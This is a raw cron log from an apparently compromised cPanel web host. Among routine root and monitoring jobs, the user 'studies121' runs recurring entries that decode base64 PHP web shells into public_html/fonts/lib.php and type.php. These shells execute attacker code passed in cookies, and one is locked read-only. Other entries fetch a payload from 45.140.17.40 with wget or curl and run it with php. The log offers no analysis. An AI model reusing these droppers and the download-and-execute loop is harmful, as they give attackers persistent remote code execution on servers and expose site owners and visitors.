Sep  1 05:36:01 ip-184-168-122-23 CROND[27876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:36:01 ip-184-168-122-23 CROND[27877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:36:01 ip-184-168-122-23 CROND[27879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:36:01 ip-184-168-122-23 CROND[27878]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:37:01 ip-184-168-122-23 CROND[28025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:37:01 ip-184-168-122-23 CROND[28028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:37:01 ip-184-168-122-23 CROND[28030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:37:01 ip-184-168-122-23 CROND[28029]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:38:01 ip-184-168-122-23 CROND[28156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:38:01 ip-184-168-122-23 CROND[28157]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 05:38:01 ip-184-168-122-23 CROND[28158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:38:01 ip-184-168-122-23 CROND[28161]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:38:01 ip-184-168-122-23 CROND[28165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:39:01 ip-184-168-122-23 CROND[28277]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:39:01 ip-184-168-122-23 CROND[28279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:39:01 ip-184-168-122-23 CROND[28280]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 05:39:01 ip-184-168-122-23 CROND[28281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:39:01 ip-184-168-122-23 CROND[28282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:40:01 ip-184-168-122-23 CROND[28442]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 05:40:01 ip-184-168-122-23 CROND[28443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:40:01 ip-184-168-122-23 CROND[28446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:40:01 ip-184-168-122-23 CROND[28451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:40:01 ip-184-168-122-23 CROND[28448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:40:01 ip-184-168-122-23 CROND[28450]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 05:40:01 ip-184-168-122-23 CROND[28452]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 05:40:01 ip-184-168-122-23 CROND[28449]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 05:41:01 ip-184-168-122-23 CROND[28648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:41:01 ip-184-168-122-23 CROND[28649]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:41:01 ip-184-168-122-23 CROND[28650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:41:01 ip-184-168-122-23 CROND[28652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:42:01 ip-184-168-122-23 CROND[28757]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:42:01 ip-184-168-122-23 CROND[28759]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 05:42:01 ip-184-168-122-23 CROND[28762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:42:01 ip-184-168-122-23 CROND[28761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:42:01 ip-184-168-122-23 CROND[28760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:43:01 ip-184-168-122-23 CROND[28889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:43:01 ip-184-168-122-23 CROND[28890]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:43:01 ip-184-168-122-23 CROND[28893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:43:01 ip-184-168-122-23 CROND[28892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:44:01 ip-184-168-122-23 CROND[28986]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 05:44:01 ip-184-168-122-23 CROND[28985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:44:01 ip-184-168-122-23 CROND[28990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:44:01 ip-184-168-122-23 CROND[28989]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:44:01 ip-184-168-122-23 CROND[28991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:45:01 ip-184-168-122-23 CROND[29117]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 05:45:01 ip-184-168-122-23 CROND[29119]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:45:01 ip-184-168-122-23 CROND[29120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:45:01 ip-184-168-122-23 CROND[29122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:45:01 ip-184-168-122-23 CROND[29121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:45:01 ip-184-168-122-23 CROND[29123]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 05:46:02 ip-184-168-122-23 CROND[29318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:46:02 ip-184-168-122-23 CROND[29320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:46:02 ip-184-168-122-23 CROND[29319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:46:02 ip-184-168-122-23 CROND[29324]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 05:46:02 ip-184-168-122-23 CROND[29326]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 05:46:02 ip-184-168-122-23 CROND[29325]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 05:46:02 ip-184-168-122-23 CROND[29327]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:47:01 ip-184-168-122-23 CROND[29445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:47:01 ip-184-168-122-23 CROND[29446]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 05:47:01 ip-184-168-122-23 CROND[29447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:47:01 ip-184-168-122-23 CROND[29448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 05:48:01 ip-184-168-122-23 CROND[29558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:48:01 ip-184-168-122-23 CROND[29557]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
